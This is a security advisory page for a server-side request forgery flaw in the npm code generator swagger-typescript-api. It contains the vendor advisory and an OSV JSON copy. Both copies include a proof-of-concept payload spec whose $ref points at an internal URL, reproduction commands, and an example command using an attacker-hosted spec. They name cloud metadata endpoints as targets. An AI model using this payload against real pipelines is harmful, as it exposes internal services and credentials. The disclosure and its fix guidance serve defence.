CVE-2026-54663: Swagger typescript api Swagger-typescript-api Vulnerable To Server-Side Request Vulnerability

MODERATE
Advisory Identifier: GHSA-x36r-4347-pm5x
CVSS 6.1
CWE-441 CWE-20 CWE-918
Published
Advisory Summary

CVE-2026-54663 is a MODERATE (CVSS 6.1) swagger-typescript-api vulnerable to server-side request vulnerability (CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')) affecting Swagger typescript api libraries in the npm ecosystem. The issue involves swagger-typescript-api vulnerable to server-side request forgery via spec `$ref`. Remediation is available by upgrading affected packages to version 13.12.2.

CVE-2026-54663 at a Glance

CVE Identifier CVE-2026-54663
GHSA Identifier GHSA-x36r-4347-pm5x
Severity MODERATE
CVSS v3.1 Base Score 6.1
CWE Classification CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')
Affected Product Swagger typescript api
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 6.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-54663

To remediate this vulnerability, upgrade all affected Swagger typescript api dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

swagger-typescript-api fixed: 13.12.2
npm install swagger-typescript-api@13.12.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls swagger-typescript-api

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-54663, inspect your project dependencies using npm:

npm ls swagger-typescript-api

Analyze the terminal output to locate any version of Swagger typescript api in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 13.12.2), your application is affected.

Note: The npm ls swagger-typescript-api command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-441: Unintended Proxy or Intermediary ('Confused Deputy'), where the product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's control sphere. this causes the product to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor. In Swagger typescript api, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `swagger-typescript-api` walks every `$ref` value in the input OpenAPI spec and, for any `$ref` whose target is an `http(s)://` URL, issues an HTTP GET to that URL during generation (`warmUpRemoteSchemasCache`). The only URL filter is a regex that matches `^https?://` — there is **no private-IP allowlist, no DNS-rebinding protection, no redirect cap, and no same-origin check against the spec source**. A malicious OpenAPI spec can therefore force the generator process to issue HTTP requests to arbitrary hosts and paths reachable from the generator's network, including `127.0.0.1`, RFC-1918 ranges, internal hostnames, and the cloud instance-metadata endpoint at `169.254.169.254`. The attacker model is identical to the previously reported code-injection findings: a developer or CI pipeline that runs `swagger-typescript-api generate` against an attacker-controlled spec (remote URL, third-party / public OpenAPI registry, multi-tenant tenant input, or a spec file modified via PR). ### Details `SwaggerSchemaResolver.fetchSwaggerSchemaFile` (`src/swagger-schema-resolver.ts:122`) loads the entry-point spec. After it parses, `ResolvedSwaggerSchema` (`src/resolved-swagger-schema.ts`) calls `warmUpRemoteSchemasCache` which does a BFS over every external `$ref`: ```ts // src/resolved-swagger-schema.ts:399-445 private async warmUpRemoteSchemasCache() { if (typeof this.config.url !== "string" || !this.isHttpUrl(this.config.url)) { return; } const visited = new Set<string>(); const queue = [this.stripHash(this.config.url)]; while (queue.length > 0) { const currentUrl = queue.shift(); if (!currentUrl || visited.has(currentUrl)) continue; visited.add(currentUrl); if (this.externalSchemaCache.has(currentUrl)) continue; const schema = await this.fetchRemoteSchemaDocument(currentUrl); // <-- HTTP GET if (!schema) continue; this.externalSchemaCache.set(currentUrl, schema); for (const ref of this.extractRefsFromSchema(schema)) { const normalizedRef = this.normalizeRef(ref); if (normalizedRef.startsWith("#")) continue; const [externalPath = ""] = normalizedRef.split("#"); if (!externalPath) continue; const absoluteUrl = this.resolveAbsoluteUrl(externalPath, currentUrl); if (absoluteUrl && !visited.has(absoluteUrl)) { queue.push(absoluteUrl); // <-- recurse } } } } ``` The fetch itself: ```ts // src/resolved-swagger-schema.ts:374 const response = await fetch(url, { headers: this.getRemoteRequestHeaders(), }); ``` …and the only URL-shape filter: ```ts // src/resolved-swagger-schema.ts:75-78 private isHttpUrl(value: string): boolean { return /^https?:\/\//i.test(value); } ``` There is no IP allowlist (no rejection of `127.x`, `10.x`, `172.16-31.x`, `192.168.x`, `169.254.x`, IPv6 `::1` / fc00::/7, etc.), no DNS-rebinding mitigation (the URL is passed straight to Node's built-in `fetch`, which itself follows up to 20 redirects by default), and no check that the new URL shares an origin with the spec source. Any `$ref` value that survives `isHttpUrl` is fetched. Because `fetch` is Node's undici-backed implementation, an external 302 redirect from an attacker's spec server to an internal URL ALSO succeeds — even if the maintainer later adds a private-IP filter to the spec string itself, redirect-based SSRF would still work without additional mitigation in the fetch options (`redirect: "manual"` or a custom dispatcher with a same-host check). ### PoC Self-contained reproducer in comments (install `swagger-typescript-api@13.12.1` into a local `node_modules`, spin up two loopback HTTP servers — one serving the spec, one pretending to be an "internal" service — run the generator against each, observe the internal server's hit count). Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`. **Payload spec** (served from `http://127.0.0.1:<spec-port>/spec.json`): ```json { "openapi": "3.0.0", "info": { "title": "SSRF-payload", "version": "1.0.0" }, "paths": { "/p": { "get": { "operationId": "p", "responses": { "200": { "description": "OK", "content": { "application/json": { "schema": { "$ref": "http://127.0.0.1:<internal-port>/INTERNAL_ONLY_PATH/secret.json" } } } } } } } } } ``` **Steps:** ```bash # 1. Start a loopback "internal" HTTP server that should not be reachable from a public spec. # 2. Start a loopback "spec" HTTP server that serves the payload spec above. # 3. Point the generator at the spec server. npm install swagger-typescript-api@13.12.1 node -e "import('swagger-typescript-api').then(m => m.generateApi({ output: '/tmp/out', url: 'http://127.0.0.1:<spec-port>/spec.json', httpClientType: 'fetch' }))" ``` **Observed (control vs payload):** ``` [control] (no external $ref in spec) → internal-server hits: 0 [payload] ($ref → http://127.0.0.1:<internal-port>/...) → internal-server hits: 1 hit: /INTERNAL_ONLY_PATH/secret.json host=127.0.0.1:<internal-port> ``` The internal server received a `GET /INTERNAL_ONLY_PATH/secret.json` issued by the generator's `warmUpRemoteSchemasCache` while the developer was running `swagger-typescript-api generate`. The loopback target in the PoC stands in for any host reachable from the generator process — typical real-world targets include `169.254.169.254` (cloud IMDS), internal admin panels, intranet web apps, and corporate-VPN-only services. ### Impact **Type:** Server-Side Request Forgery (CWE-918) via unrestricted external-reference resolution in a code-generation tool. **Affected use cases:** - A developer running `sta generate --url https://attacker.example/openapi.json` against an attacker-hosted spec. - A developer running the generator against any third-party or public OpenAPI spec they did not author (cached APIs on public schema registries, vendor / partner specs). - A CI/CD pipeline regenerating clients from a spec on every build. - A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs. - Any project where a contributor can modify the pinned spec via a pull request. **What an attacker can do with this:** - Probe the generator's network reachability — enumerate which RFC-1918 hosts and internal services are alive based on timing and error states. - Hit cloud-provider instance metadata endpoints (`http://169.254.169.254/...`) on cloud-hosted CI runners. Even though the response body is not directly returned to the attacker, side effects (rate-limit, timing, error code reflected in logs) leak information. - Trigger side effects in internal services that have GET-mutating endpoints (rare but real). - Combine with the companion finding (Authorization-token forwarding to `$ref` URLs — filed separately) to escalate this from blind SSRF into direct credential exfiltration. **Lifecycle:** generation-time. The fetch happens when the developer or CI pipeline runs `swagger-typescript-api generate`, not when the generated client is later imported. **Suggested fix:** Defense in depth at three layers, in priority order: 1. **Reject private / link-local / loopback addresses at the URL-validation layer.** Resolve the URL's hostname, check the resulting IP against IPv4 ranges `127.0.0.0/8`, `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`, `169.254.0.0/16`, `0.0.0.0/8`, and IPv6 equivalents (`::1`, `fc00::/7`, `fe80::/10`, `::ffff:0:0/96`). Re-resolve on every redirect to defeat DNS rebinding. 2. **Use a custom undici dispatcher with `connect` hook that re-checks the resolved IP at TCP-connect time** — the only reliable way to defeat DNS rebinding in Node's built-in `fetch`. 3. **Set `redirect: "manual"` in the `fetch` options** and validate each redirect URL through the same allowlist before following it. If full SSRF mitigation is too invasive for a code-generation tool, at minimum surface the threat: log every external URL the generator is about to fetch (so a developer can `grep` for unexpected hosts in the output) and add an opt-out flag like `--no-external-refs` that disables `warmUpRemoteSchemasCache` entirely. Submitted by: Hamza Haroon (thegr1ffyn)

CVE-2026-54663 Affected Swagger typescript api Versions

1 component(s)
Fixed Versions:
13.12.2
Product / Package Ecosystem Affected Versions Fixed Version
swagger-typescript-api
npm
< 13.12.2
13.12.2

References

Frequently Asked Questions

What is CVE-2026-54663?
CVE-2026-54663 is a security vulnerability in Swagger typescript api involving swagger-typescript-api vulnerable to Server-Side Request Forgery via spec `$ref` under CWE-441: Unintended Proxy or Intermediary ('Confused Deputy').
Which Swagger typescript api versions are affected?
Affected versions include releases prior to 13.12.2 across affected packages: swagger-typescript-api.
What version fixes CVE-2026-54663?
Upgrading to 13.12.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is swagger-typescript-api affected?
Yes, swagger-typescript-api is affected in releases prior to 13.12.2. Upgrade your dependency to 13.12.2 or later.
What is the CVSS score of CVE-2026-54663?
CVE-2026-54663 has a CVSS v3.1 base score of 6.1 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N.
What CWE is associated with CVE-2026-54663?
CVE-2026-54663 is classified under CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (The product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's control sphere. This causes the product to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor.).
How can I check npm dependencies for CVE-2026-54663?
Run the dependency tree command: 'npm ls swagger-typescript-api'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-x36r-4347-pm5x",
  "modified" : "2026-07-29T14:28:58Z",
  "published" : "2026-07-29T14:28:58Z",
  "aliases" : [ "CVE-2026-54663" ],
  "summary" : "swagger-typescript-api vulnerable to Server-Side Request Forgery via spec `$ref`",
  "details" : "### Summary\n\n`swagger-typescript-api` walks every `$ref` value in the input OpenAPI spec and, for any `$ref` whose target is an `http(s)://` URL, issues an HTTP GET to that URL during generation (`warmUpRemoteSchemasCache`). The only URL filter is a regex that matches `^https?://` — there is **no private-IP allowlist, no DNS-rebinding protection, no redirect cap, and no same-origin check against the spec source**. A malicious OpenAPI spec can therefore force the generator process to issue HTTP requests to arbitrary hosts and paths reachable from the generator's network, including `127.0.0.1`, RFC-1918 ranges, internal hostnames, and the cloud instance-metadata endpoint at `169.254.169.254`.\n\nThe attacker model is identical to the previously reported code-injection findings: a developer or CI pipeline that runs `swagger-typescript-api generate` against an attacker-controlled spec (remote URL, third-party / public OpenAPI registry, multi-tenant tenant input, or a spec file modified via PR).\n\n### Details\n\n`SwaggerSchemaResolver.fetchSwaggerSchemaFile` (`src/swagger-schema-resolver.ts:122`) loads the entry-point spec. After it parses, `ResolvedSwaggerSchema` (`src/resolved-swagger-schema.ts`) calls `warmUpRemoteSchemasCache` which does a BFS over every external `$ref`:\n\n```ts\n// src/resolved-swagger-schema.ts:399-445\nprivate async warmUpRemoteSchemasCache() {\n  if (typeof this.config.url !== \"string\" || !this.isHttpUrl(this.config.url)) {\n    return;\n  }\n  const visited = new Set<string>();\n  const queue = [this.stripHash(this.config.url)];\n\n  while (queue.length > 0) {\n    const currentUrl = queue.shift();\n    if (!currentUrl || visited.has(currentUrl)) continue;\n    visited.add(currentUrl);\n\n    if (this.externalSchemaCache.has(currentUrl)) continue;\n    const schema = await this.fetchRemoteSchemaDocument(currentUrl);   // <-- HTTP GET\n    if (!schema) continue;\n    this.externalSchemaCache.set(currentUrl, schema);\n\n    for (const ref of this.extractRefsFromSchema(schema)) {\n      const normalizedRef = this.normalizeRef(ref);\n      if (normalizedRef.startsWith(\"#\")) continue;\n\n      const [externalPath = \"\"] = normalizedRef.split(\"#\");\n      if (!externalPath) continue;\n\n      const absoluteUrl = this.resolveAbsoluteUrl(externalPath, currentUrl);\n      if (absoluteUrl && !visited.has(absoluteUrl)) {\n        queue.push(absoluteUrl);                                       // <-- recurse\n      }\n    }\n  }\n}\n```\n\nThe fetch itself:\n\n```ts\n// src/resolved-swagger-schema.ts:374\nconst response = await fetch(url, {\n  headers: this.getRemoteRequestHeaders(),\n});\n```\n\n…and the only URL-shape filter:\n\n```ts\n// src/resolved-swagger-schema.ts:75-78\nprivate isHttpUrl(value: string): boolean {\n  return /^https?:\\/\\//i.test(value);\n}\n```\n\nThere is no IP allowlist (no rejection of `127.x`, `10.x`, `172.16-31.x`, `192.168.x`, `169.254.x`, IPv6 `::1` / fc00::/7, etc.), no DNS-rebinding mitigation (the URL is passed straight to Node's built-in `fetch`, which itself follows up to 20 redirects by default), and no check that the new URL shares an origin with the spec source. Any `$ref` value that survives `isHttpUrl` is fetched.\n\nBecause `fetch` is Node's undici-backed implementation, an external 302 redirect from an attacker's spec server to an internal URL ALSO succeeds — even if the maintainer later adds a private-IP filter to the spec string itself, redirect-based SSRF would still work without additional mitigation in the fetch options (`redirect: \"manual\"` or a custom dispatcher with a same-host check).\n\n### PoC\n\nSelf-contained reproducer in comments (install `swagger-typescript-api@13.12.1` into a local `node_modules`, spin up two loopback HTTP servers — one serving the spec, one pretending to be an \"internal\" service — run the generator against each, observe the internal server's hit count). Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`.\n\n**Payload spec** (served from `http://127.0.0.1:<spec-port>/spec.json`):\n\n```json\n{\n  \"openapi\": \"3.0.0\",\n  \"info\": { \"title\": \"SSRF-payload\", \"version\": \"1.0.0\" },\n  \"paths\": {\n    \"/p\": {\n      \"get\": {\n        \"operationId\": \"p\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"OK\",\n            \"content\": {\n              \"application/json\": {\n                \"schema\": {\n                  \"$ref\": \"http://127.0.0.1:<internal-port>/INTERNAL_ONLY_PATH/secret.json\"\n                }\n              }\n            }\n          }\n        }\n      }\n    }\n  }\n}\n```\n\n**Steps:**\n\n```bash\n# 1. Start a loopback \"internal\" HTTP server that should not be reachable from a public spec.\n# 2. Start a loopback \"spec\" HTTP server that serves the payload spec above.\n# 3. Point the generator at the spec server.\nnpm install swagger-typescript-api@13.12.1\nnode -e \"import('swagger-typescript-api').then(m => m.generateApi({\n  output: '/tmp/out',\n  url: 'http://127.0.0.1:<spec-port>/spec.json',\n  httpClientType: 'fetch'\n}))\"\n```\n\n**Observed (control vs payload):**\n\n```\n[control] (no external $ref in spec) → internal-server hits: 0\n[payload] ($ref → http://127.0.0.1:<internal-port>/...) → internal-server hits: 1\n  hit: /INTERNAL_ONLY_PATH/secret.json  host=127.0.0.1:<internal-port>\n```\n\nThe internal server received a `GET /INTERNAL_ONLY_PATH/secret.json` issued by the generator's `warmUpRemoteSchemasCache` while the developer was running `swagger-typescript-api generate`. The loopback target in the PoC stands in for any host reachable from the generator process — typical real-world targets include `169.254.169.254` (cloud IMDS), internal admin panels, intranet web apps, and corporate-VPN-only services.\n\n### Impact\n\n**Type:** Server-Side Request Forgery (CWE-918) via unrestricted external-reference resolution in a code-generation tool.\n\n**Affected use cases:**\n\n- A developer running `sta generate --url https://attacker.example/openapi.json` against an attacker-hosted spec.\n- A developer running the generator against any third-party or public OpenAPI spec they did not author (cached APIs on public schema registries, vendor / partner specs).\n- A CI/CD pipeline regenerating clients from a spec on every build.\n- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.\n- Any project where a contributor can modify the pinned spec via a pull request.\n\n**What an attacker can do with this:**\n\n- Probe the generator's network reachability — enumerate which RFC-1918 hosts and internal services are alive based on timing and error states.\n- Hit cloud-provider instance metadata endpoints (`http://169.254.169.254/...`) on cloud-hosted CI runners. Even though the response body is not directly returned to the attacker, side effects (rate-limit, timing, error code reflected in logs) leak information.\n- Trigger side effects in internal services that have GET-mutating endpoints (rare but real).\n- Combine with the companion finding (Authorization-token forwarding to `$ref` URLs — filed separately) to escalate this from blind SSRF into direct credential exfiltration.\n\n**Lifecycle:** generation-time. The fetch happens when the developer or CI pipeline runs `swagger-typescript-api generate`, not when the generated client is later imported.\n\n**Suggested fix:**\n\nDefense in depth at three layers, in priority order:\n\n1. **Reject private / link-local / loopback addresses at the URL-validation layer.** Resolve the URL's hostname, check the resulting IP against IPv4 ranges `127.0.0.0/8`, `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`, `169.254.0.0/16`, `0.0.0.0/8`, and IPv6 equivalents (`::1`, `fc00::/7`, `fe80::/10`, `::ffff:0:0/96`). Re-resolve on every redirect to defeat DNS rebinding.\n2. **Use a custom undici dispatcher with `connect` hook that re-checks the resolved IP at TCP-connect time** — the only reliable way to defeat DNS rebinding in Node's built-in `fetch`.\n3. **Set `redirect: \"manual\"` in the `fetch` options** and validate each redirect URL through the same allowlist before following it.\n\nIf full SSRF mitigation is too invasive for a code-generation tool, at minimum surface the threat: log every external URL the generator is about to fetch (so a developer can `grep` for unexpected hosts in the output) and add an opt-out flag like `--no-external-refs` that disables `warmUpRemoteSchemasCache` entirely.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "swagger-typescript-api"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "13.12.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 13.12.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-x36r-4347-pm5x"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/acacode/swagger-typescript-api/pull/1779"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/acacode/swagger-typescript-api"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20", "CWE-441", "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-29T14:28:58Z",
    "nvd_published_at" : null
  }
}